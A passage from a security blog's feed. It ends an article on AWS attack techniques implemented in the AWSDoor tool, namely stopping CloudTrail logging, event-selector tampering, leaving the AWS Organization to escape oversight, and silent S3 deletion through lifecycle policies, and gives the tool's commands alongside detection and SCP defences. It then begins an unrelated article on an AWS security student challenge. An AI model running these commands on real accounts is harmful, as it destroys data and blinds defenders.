<figure id="attachment_27432" aria-describedby="caption-attachment-27432" style="width: 850px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27432" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png" alt="Trail with logging capabilities stopped" width="850" height="288" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-768x260.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1.png 1349w" sizes="auto, (max-width: 850px) 100vw, 850px" /><figcaption id="caption-attachment-27432" class="wp-caption-text"><em>Trail with logging capabilities stopped</em></figcaption></figure>
<p> </p>
<p>While this technique is effective to impair specifics logging capabilities, it has severs draws back:</p>
<ul>
<li>limited effect: even though a specific trail will be impacted, Organization Trails cannot be evaded this way. In addition, Event History with its 90 days unalterable retention period will still be available</li>
<li>Noisy action: even if the stopping command is not detected, most SIEM solutions trigger alarms when the log flow stops.</li>
</ul>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop -s<br />[+] Trail logging stopped on 'management-events'</pre>
<p> </p>
<p>The limitation is that this will only deactivate trails defined in the current account and won’t remove trails defined at the organization level.</p>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>On the defender side, this technique can be simply detected by looking at the GUI moreover, CloudTrail also record the StopLogging event hinting that a Trail has been tampered.</p>
<p> </p>
<h4>Event selector</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p>In AWS CloudTrail, <strong>event selectors allow fine-grained control over what types of events a trail records.</strong> These selectors can be configured to log management events, data events, or both. Management events capture operations that manage AWS resources, such as launching an EC2 instance or modifying IAM roles. These are typically high-level API calls made through the console, SDK, or CLI and are critical for auditing administrative actions.</p>
<p>By default, <strong>trails log management events, but users can modify event selectors to exclude them</strong> partially or completely. This flexibility can be useful for reducing noise or cost in environments with heavy automation, but it also introduces a risk. An attacker with the right permissions could tamper with a trail&#8217;s event selectors <strong>to suppress specific types of logs, such as disabling management event</strong> logging, thereby impairing visibility into changes made during or after a compromise.</p>
<p>Therefore, by altering event selectors it is <strong>possible to degrade the CloudTrail logging capabilities</strong>, making it harder for defenders to detect unauthorized activity or investigate incidents.</p>
<p>The management event can be simply deactivated. For the data event, in order to avoid having blank field on the GUI it is possible to enforce the event selector configuration to only log event related to a none-existing resource:</p>
<p> </p>
<figure id="attachment_27434" aria-describedby="caption-attachment-27434" style="width: 790px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27434" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png" alt="Logging event from a non existing resource" width="790" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-768x385.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-800x400.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1.png 1184w" sizes="auto, (max-width: 790px) 100vw, 790px" /><figcaption id="caption-attachment-27434" class="wp-caption-text"><em>Logging event from a non existing resource</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>AWSDoor can be used to <strong>reconfigure the event selector</strong> in order to prevent data and management event logging:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop<br />[+] Adding event selector on management-events<br />[+] Management events disabled on trail 'management-events'</pre>
<p> </p>
<p>Once the script is run, <strong>the event selector is configured. The trail still appears as active</strong>:</p>
<p> </p>
<figure id="attachment_27436" aria-describedby="caption-attachment-27436" style="width: 807px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27436" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png" alt="Trail still considered as active" width="807" height="251" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-768x238.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1.png 1192w" sizes="auto, (max-width: 807px) 100vw, 807px" /><figcaption id="caption-attachment-27436" class="wp-caption-text"><em>Trail still considered as active</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">However, <strong>the event selector prevents further event</strong> logging:</p>
<p> </p>
<figure id="attachment_27438" aria-describedby="caption-attachment-27438" style="width: 1120px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27438" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png" alt="Event selector preventing logging" width="1120" height="764" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-768x525.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word.png 1247w" sizes="auto, (max-width: 1120px) 100vw, 1120px" /><figcaption id="caption-attachment-27438" class="wp-caption-text"><em>Event selector preventing logging</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>The creation of the event selector can be detected using the PutEventSelector event logged in CloudTrail:</p>
<p> </p>
<figure id="attachment_27440" aria-describedby="caption-attachment-27440" style="width: 779px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27440" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png" alt="Event logged by CloudTrail" width="779" height="936" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png 159w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-33x39.png 33w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-768x922.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1.png 880w" sizes="auto, (max-width: 779px) 100vw, 779px" /><figcaption id="caption-attachment-27440" class="wp-caption-text"><em>Event logged by CloudTrail</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Likewise, the analysis of the log collection and the volumetry would be an interesting IOC. If the log flow stopped, it is likely due to an attack.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Destruction</h2>
<p style="text-align: justify;">Attacks focused on data destruction are designed to <strong>cause important operational damage by permanently erasing or corrupting critical information and infrastructure</strong>. Unlike data exfiltration or privilege escalation, these attacks don’t aim to extract value or maintain access, but rather to disrupt business continuity, damage reputation, or sabotage systems beyond recovery.</p>
<p style="text-align: justify;">In cloud environments like AWS, <strong>destructive attacks can impact all types of resources</strong>, including storage resources, computing resources or configuration components like IAM roles and Lambda functions:</p>
<ul style="text-align: justify;">
<li><strong>Deleting S3 buckets</strong> can lead to the loss of backups, customer data, or reglementary / technical information (logging).</li>
<li><strong>Erasing EBS volumes or RDS snapshots</strong> can lead to total loss of application state or critical databases.</li>
<li>Formatting the AWS Account (by deleting all the possible services) can lead to a very long service interruption, even if the data are externally backup, especially if the infrastructure is not deployed through IaC, or if the IaC is destroyed as well.</li>
</ul>
<h2> </h2>
<h3 style="text-align: justify;">AWS Organization Leave</h3>
<h4 style="text-align: justify;">Organization Leave</h4>
<p style="text-align: justify;">AWS Organizations <strong>is a service that allows you to centrally manage and govern multiple AWS accounts</strong> from a single location. At the top of the hierarchy is the Organization service nested one management account (called the payer / master / management account) and one or more member accounts. These accounts can be grouped into organizational units, making it easier to apply policies or manage backup at scale.</p>
<p style="text-align: justify;">Each AWS account <strong>in an organization remains isolated in terms of resources and identity</strong>, but the organization can enforce policies such as Service Control Policies (SCPs) across all accounts that will enforce specific limitation on all accounts as a GPO does on a Windows domain. <strong>This structure is particularly useful for separating data and workloads</strong> by team, environment, or business unit while maintaining centralized governance.</p>
<p style="text-align: justify;">AWS also allows you to invite or attach an existing standalone account into an organization. This process can be initiated from the management account and requires the invited account to accept the request. Similarly, accounts can be detached and moved to another organization, though this action comes with restrictions. For example, certain AWS services or features may behave differently once an account is part of an organization, especially in terms of consolidated billing and policy enforcement. This capability can be useful for mergers, restructurings, or account lifecycle management but also opens up a possible attack vector if not closely monitored.</p>
<p> </p>
<figure id="attachment_27444" aria-describedby="caption-attachment-27444" style="width: 857px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27444" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png" alt="Exemple of AWS Organization" width="857" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-768x444.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1.png 1223w" sizes="auto, (max-width: 857px) 100vw, 857px" /><figcaption id="caption-attachment-27444" class="wp-caption-text"><em>Exemple of AWS Organization</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">While the LeaveOrganization is a destructive operation, it can be also used to exfiltrate data before destruction. Instead of erasing all resources in a compromised AWS account, an attacker may choose to detach the account from the organization, retain all infrastructure intact, and slowly exfiltrate sensitive data.</p>
<p style="text-align: justify;">For example, a company is <strong>hosting a eShop application on AWS</strong>. The attacker who has compromised the AWS account uses the LeaveOrganization action to retrieve control over the eShop resource. This action removes the account from centralized control, effectively stripping away any Service Control Policies, centralized logging, or governance mechanisms previously enforced by the organization without impacting its availability.</p>
<p style="text-align: justify;">With full <strong>control over this now standalone account, the attacker can operate without oversight</strong>. The eShop continues functioning normally, serving customers and processing orders, but behind the scenes, the attacker has unrestricted access to all associated resources. They can read from S3 buckets, query the customer database, extract payment data, and silently exfiltrate banking information and personal details of every user without interrupting the service or triggering operational alarms.</p>
<p style="text-align: justify;">From the company’s perspective, <strong>once the account has left the AWS Organization, the security team loses visibility and administrative authority over it</strong>. They cannot easily shut down the impacted resources directly from their AWS account.</p>
<p> </p>
<figure id="attachment_27446" aria-describedby="caption-attachment-27446" style="width: 920px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27446" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png" alt="Impact of AWS Organization leave" width="920" height="582" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-768x485.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1.png 1226w" sizes="auto, (max-width: 920px) 100vw, 920px" /><figcaption id="caption-attachment-27446" class="wp-caption-text"><em>Impact of AWS Organization leave</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Without admin access to the now-isolated account, <strong>the company has no way to disable services</strong>, suspend billing, or terminate the compromised infrastructure. This gives the attacker complete operational freedom, while the organization is left blind and unable to respond but request AWS Support.</p>
<p> </p>
<h4 style="text-align: justify;">Privileges needed</h4>
<p style="text-align: justify;">To execute the LeaveOrganization action and <strong>detach an AWS account from its organization</strong>, the attacker must possess <strong>elevated permissions within the targeted account</strong>. Specifically, the following conditions and IAM privileges are required:</p>
<ul style="text-align: justify;">
<li><strong>Account-Level Access</strong>: The attacker must have direct access to the member account they intend to detach. This means they must already be authenticated within that specific AWS account — either through stolen credentials, session tokens, or by exploiting vulnerable IAM roles or policies.</li>
<li><strong>organizations:LeaveOrganization Permission</strong>: This is the key IAM permission required to invoke the LeaveOrganization API call. It must be explicitly allowed in the attacker&#8217;s effective permissions. This action is only valid when executed from within the member account, not from the management account.</li>
<li><strong>Billing Access</strong> Although not strictly required to leave an organization, attackers with access to billing and account settings (via aws-portal:*, account:*, or billing:* actions) can further entrench themselves, update contact information, or lock out legitimate users after detachment. In addition most accounts created within an Organization are done so without payment details (because they inherits those from the payer account). However, for an account to be detached / standalone, it has to have this information filled.</li>
</ul>
<p> </p>
<h4 style="text-align: justify;">Defense and detection</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Preventing Unauthorized LeaveOrganization Calls</span></h5>
<p style="text-align: justify;">The most effective control is the use of<strong> Service Control Policies (SCPs).</strong> SCPs define the maximum permissions available to accounts within an AWS Organization and can explicitly deny the organizations:LeaveOrganization action, even if a local IAM user or role has been granted that permission.</p>
<p style="text-align: justify;">The LeaveOrganization operation is executed from within the member account itself, not by the management account. It means that an attacker does not need to fully compromise the AWS organization to perform the account detachment.</p>
<p style="text-align: justify;">The SCP, <strong>defined at the organization level, can prevent any user in the accounts to leave the organization</strong>. In this case, the attacker must first compromise the whole AWS organization before being able to perform the attack.</p>
<p style="text-align: justify;">The following policy will prevent any misuse of LeaveOrganization:</p>
<p> </p>
<pre style="text-align: justify;">{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "DenyLeaveOrganization",<br />      "Effect": "Deny",<br />      "Action": "organizations:LeaveOrganization",<br />      "Resource": "*"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">This SCP should <strong>be attached directly at the root of the AWS</strong> <strong>Organization</strong> to ensure it applies to all member accounts. It ensures that no account can unilaterally leave the organization, even if compromised.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Detection and Monitoring</span></h5>
<p style="text-align: justify;">Even with SCPs in place, <strong>monitoring for LeaveOrganization attempts is essential for defense-in-depth</strong>. Indeed, even if the LeaveOrganization failed due to the SCP, having monitoring on the LeaveOrganization event could help detect the attack occurring on the AWS environment.</p>
<p style="text-align: justify;">For example, a CloudWatch Alarms to trigger alerts when the event LeaveOrganization or DisablePolicyType.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">S3 destruction</h3>
<h4 style="text-align: justify;">S3 standard deletion policy</h4>
<p style="text-align: justify;"><strong>Amazon S3 is one of the most widely used and trusted storage services</strong> within the AWS ecosystem. Organizations rely on it to store everything from logs and files to critical business data and backups. The destruction of S3 data can have far greater impact than the loss of a few compute resources, making it a high-value target for attackers.</p>
<p style="text-align: justify;">While uploading and storing data in S3 is straightforward, deleting large volumes of data is intentionally resource-intensive and time-consuming. When an S3 bucket is deleted or cleared, AWS performs a recursive, sequential deletion of every object meaning the process can take hours or days for large environments.</p>
<p style="text-align: justify;"><strong>Additionally, AWS enforces eventual consistency</strong> on object deletions, so even after a delete request, <strong>objects may temporarily persist</strong>. These design choices provide defenders with a crucial time window to detect and respond to deletion attempts before irreversible data loss occurs.</p>
<p> </p>
<h4 style="text-align: justify;">Lifecycle policy</h4>
<p style="text-align: justify;">Amazon S3 Lifecycle Policies provide an automated mechanism to <strong>manage the storage lifecycle</strong> of objects within a bucket. These policies allow users to define rules that transition objects to different storage classes or <strong>expire (delete) them after a defined period, based on criteria like object age</strong>, prefix, or tags. This automation helps organizations optimize storage costs and enforce data retention policies without manual intervention.</p>
<p style="text-align: justify;">However, <strong>lifecycle policies operate differently from manual processes</strong> and <strong>bypass the standard safeguards</strong> designed to slow mass deletions. An attacker who gains elevated privileges in an AWS account can create or modify a lifecycle policy that sets object expiration to the minimum allowed duration (1 day). <strong>Once applied, this policy is retroactive</strong>: all existing objects in the bucket will be marked for expiration and scheduled for removal, and all newly created objects will expire shortly after creation.</p>
<p style="text-align: justify;"><strong>Unlike manual deletions, lifecycle expirations are handled internally by AWS</strong> at scale and complete much faster. This can enable stealthy, rapid mass deletion of bucket contents without generating the volume of API calls or operational noise typical of manual recursive deletes. Since lifecycle policy changes may not trigger immediate or obvious alerts, such abuse poses a significant risk for undetected data destruction within AWS environments.</p>
<p style="text-align: justify;">As <strong>lifecycle</strong> <strong>policies are applied on a daily basis, the defender will have less than a day to detect the policy</strong> change, remove the deletion mark and revoke the attacker access.</p>
<p> </p>
<h4 style="text-align: justify;">AWSDoor</h4>
<p style="text-align: justify;">This technique is implemented on AWSDoor:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py --m S3ShadowDelete -n s3bucketname</pre>
<p> </p>
<h4 style="text-align: justify;">Detection</h4>
<p style="text-align: justify;">Detection of shadow deletions through S3 Lifecycle Policies can be easily missed because the deletion of objects via lifecycle expiration does not raise standard DeleteObject events in CloudTrail as manual deletions do.</p>
<p style="text-align: justify;">Instead, AWS internally handles the deletion process asynchronously, and it does not attribute the deletions to a specific user or role. Therefore, many security monitoring setups fail to recognize this as a malicious action aiming to impact data availability. <strong>The only reliable indicator of such an operation is the PutBucketLifecycleConfiguration API event</strong>, which logs the creation or update of a lifecycle rule by defining a new Expiration parameter.</p>
<p style="text-align: justify;">To detect potential abuse, a CloudWatch rule should be configured to monitor PutBucketLifecycleConfiguration events and automatically inspect the new policy configuration. If the policy includes an Expiration action set to the minimum allowed (1 day) or applies broadly to all objects this should be treated as a high-risk change.</p>
<p style="text-align: justify;">In sensitive environments, such configuration changes should trigger immediate alerts, <strong>automatic remediation</strong> and require manual approval. Since this method bypasses the typical audit trail of object-level deletes, early detection at the configuration level is essential to prevent silent and large-scale data loss: the defense team will only have one day to react.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Conclusion</h2>
<h3 style="text-align: justify;">CSPM</h3>
<p style="text-align: justify;">The article has shown how IAM configurations can be silently abused to maintain long-term access in AWS environments. Techniques such as AccessKey injection, trust policy backdooring, and the use of NotAction policies allow attackers to persist without deploying malware or triggering alarms.</p>
<p style="text-align: justify;">A Cloud Security Posture Management (CSPM) solution plays a key role in preventing these abuses. By continuously monitoring IAM configurations, detecting overly permissive policies, and identifying deviations from compliance baselines, a CSPM can surface suspicious changes early. For example, it can flag the creation of new AccessKeys on users who typically use SSO, or detect trust relationships established with external accounts. These capabilities help prevent IAM-based persistence from becoming entrenched.</p>
<p> </p>
<h3 style="text-align: justify;">EDR</h3>
<p style="text-align: justify;">Beyond IAM, attackers can leverage AWS resources themselves—such as Lambda functions and EC2 instances—to maintain access. The article detailed how poisoned Lambda layers, over-privileged roles, and SSM-based reverse tunnels can be used to persist without modifying IAM directly.</p>
<p style="text-align: justify;">A Cloud EDR complements CSPM by focusing on runtime behavior and execution context. It can detect unusual Lambda executions, unexpected API Gateway exposures, or EC2 instances initiating outbound tunnels. By correlating these behaviors with identity context and recent configuration changes, a Cloud EDR can surface persistence techniques that would otherwise go unnoticed. This behavioral visibility is essential to detect resource-based persistence in real time.</p>
<p> </p>
<h3 style="text-align: justify;">Backup and logging</h3>
<p style="text-align: justify;">Finally, the article explored how attackers can impair visibility and recovery by targeting logging and backup mechanisms. Disabling CloudTrail, modifying event selectors, deploying lifecycle policies for silent S3 deletion, or detaching accounts from AWS Organizations are all techniques that reduce oversight and enable long-term compromise or destruction.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Here again, CSPM and EDR provide complementary defenses. A CSPM can detect misconfigurations in logging pipelines, unauthorized lifecycle policy changes, or attempts to leave the organization. Meanwhile, a Cloud EDR can detect the absence of expected telemetry, sudden drops in log volume, or destructive API calls. Together, they ensure that visibility and recovery capabilities remain intact—even under active attack.</p>


<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>   How to build a coding game around Public Cloud Security step by step?    </title>
		<link>https://www.riskinsight-wavestone.com/en/2024/06/how-to-build-a-coding-game-around-public-cloud-security-step-by-step/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/06/how-to-build-a-coding-game-around-public-cloud-security-step-by-step/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Thu, 13 Jun 2024 12:37:33 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[public cloud]]></category>
		<category><![CDATA[students]]></category>
		<category><![CDATA[wavegame]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23299</guid>

					<description><![CDATA[<p>Step 0: context and objectives  Wavegame is a Wavestone inter-school challenge designed to promote cybersecurity expertise and the consulting profession created in 2019. In its 2023 edition, 33 teams competed in a hands-on exercise focused on securing an AWS Infrastructure....</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/06/how-to-build-a-coding-game-around-public-cloud-security-step-by-step/">   How to build a coding game around Public Cloud Security step by step?    </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 style="text-align: justify;"><b><span data-contrast="none">Step 0:</span></b><span data-contrast="none"> context and objectives</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:278}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">Wavegame is a Wavestone inter-school challenge designed to promote cybersecurity expertise and the consulting profession</span> <span data-contrast="auto">created in 2019</span><span data-contrast="auto">. In its 2023 edition, 33 teams competed in a hand</span><span data-contrast="auto">s</span><span data-contrast="auto">-on exercise focused on securing an AWS Infrastructure.</span></p>
<p style="text-align: justify;"><span data-contrast="auto">The challe</span><span data-contrast="auto">n</span><span data-contrast="auto">ge </span><span data-contrast="auto">was split in</span><span data-contrast="auto">to</span><span data-contrast="auto"> 2</span><span data-contrast="auto"> tracks, </span><span data-contrast="auto">the first being </span><span data-contrast="auto">dedicated to Business major</span><span data-contrast="auto">s</span><span data-contrast="auto"> and the </span><span data-contrast="auto">later </span><span data-contrast="auto">for Computer Science major</span><span data-contrast="auto">s.</span><span data-contrast="auto"> The technical track </span><span data-contrast="auto">consisted </span><span data-contrast="auto">of </span><span data-contrast="auto">2 qualifying </span><span data-contrast="auto">exercises</span><span data-contrast="auto"> and a final event. The second </span><span data-contrast="auto">exercise</span><span data-contrast="auto"> is the topic of this article.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">As part of a futuristic scenario, the students, acting as consultants, are hired by France Fusion, a company operating the country’s first nuclear fusion plants. France Fusion is developing a Cloud-based monitoring platform to analyze data from its proprietary industrial equipment. For this purpose, it uses an ElasticSearch database.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Initially started independently as a Proof of Concept (PoC), detached from the security department, a team of developers succeeded in deploying a functional architecture on AWS. The students are then tasked with strengthening the infrastructure&#8217;s security, in accordance with France Fusion&#8217;s Public Cloud policies.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">The technical challenge was significant: deploying a self-service, vulnerable infrastructure across 33 AWS accounts. This also meant granting students full admin access and necessary permissions to make direct modifications from the AWS console, all within </span><span data-contrast="auto">l</span><span data-contrast="auto">imited budget considering the number of participants. In this article, we will share the recipe that made this challenge a reality.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<h2 style="text-align: justify;"><b><span data-contrast="none">Step 1:</span></b><span data-contrast="none"> draw up an architecture with an educational dimension</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:278}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">Before delving into the development of the coding game, </span><span data-contrast="none">we had to keep in mind 4 constraints:</span><span data-contrast="auto"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Target Audience:</span></b><span data-contrast="auto"> as our participants are students with heterogeneous backgrounds in the Cloud, it is important to take this diversity into account. Therefore, we focused on using essential AWS services only (e.g., S3, EC2, Lambda), because such resources are well-documented, and students may already have used them in class or as part of personal projects.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><b><span data-contrast="auto">Theme:</span></b><span data-contrast="auto"> our objective was to create an architecture similar to a client environment. The immersion and realism of the interface was a key to student engagement. We therefore opted for an ELK stack on an EC2 instance as it seemed appropriate for a proof-of-concept with a monitoring dimension.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li><b><span data-contrast="auto">Costs:</span></b><span data-contrast="auto"> as the infrastructure would be available to students for two weeks and replicated across 33 AWS accounts, it was in our interest to optimize costs. To achieve this, we used AWS Pricing Calculator to estimate costs, </span><span data-contrast="auto">and </span><span data-contrast="auto">opted for a low-cost region</span><span data-contrast="auto"> and built the </span><span data-contrast="auto">infrastrucure</span><span data-contrast="auto"> around pay-as-you-go services such as Lambda functions</span><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
